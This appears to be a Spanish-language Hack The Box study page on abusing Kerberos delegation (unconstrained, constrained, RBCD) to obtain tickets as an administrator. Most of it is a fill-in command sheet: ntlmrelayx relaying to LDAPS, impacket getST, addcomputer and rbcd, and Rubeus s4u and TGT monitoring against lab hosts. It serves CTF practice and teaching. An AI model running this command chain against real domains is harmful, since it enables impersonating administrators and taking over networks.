Robar o forjar tickets de Kerberos
Conseguir tickets de Kerberos a nombre de otros usuarios abusando de la delegación o de claves robadas.
Cómo aparece en Hack The Box
La delegación restringida y RBCD permiten pedir un ticket de servicio como administrador (S4U). Si puedes crear cuentas de máquina (MachineAccountQuota) y escribir en un equipo, tienes RBCD.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Delegación Kerberos: unconstrained, constrained y RBCD explicadas y explotadas 4 min de lectura Los tres tipos de delegación Kerberos en AD, cómo encontrarlos y cómo abusar de cada uno con getST, rbcd.py y addcomputer para suplantar al administrador.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Active Directory a fondo › BloodHound
Equipos con delegación sin restricciones
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.nameActive Directory a fondo › NTLM relay
Relay a LDAP para delegación o shadow credentials
Atacante
impacket-ntlmrelayx -t ldaps://dc01.box.htb --delegate-access --no-dump --no-daActive Directory a fondo › Delegación
Con Impacket
Atacante
impacket-findDelegation box.htb/usuario:'Password123!' -dc-ip 10.10.11.20
Pedir un ticket de servicio como administrador (S4U2proxy)
Atacante
impacket-getST -spn cifs/dc01.box.htb -impersonate administrator -dc-ip 10.10.11.20 box.htb/usuario:'Password123!'
Crear una cuenta de máquina (si MachineAccountQuota > 0)
Atacante
impacket-addcomputer box.htb/usuario:'Password123!' -computer-name EVIL$ -computer-pass 'Evil123!' -dc-ip 10.10.11.20
Escribir la delegación y pedir el ticket
Atacante
impacket-rbcd box.htb/usuario:'Password123!' -delegate-to 'VICTIMA$' -delegate-from 'EVIL$' -action write -dc-ip 10.10.11.20
impacket-getST -spn cifs/victima.box.htb -impersonate administrator 'EVIL$:Evil123!' -dc-ip 10.10.11.20Rubeus › Delegación
S4U: ticket de servicio como administrador
Víctima
.\Rubeus.exe s4u /user:CUENTA$ /rc4:64f12cddaa88057e06a81b54e73b949b /impersonateuser:administrator /msdsspn:cifs/dc01.box.htb /ptt
Capturar TGT en un equipo con delegación sin restricciones
Víctima
.\Rubeus.exe monitor /interval:5 /nowrapNingún comando coincide.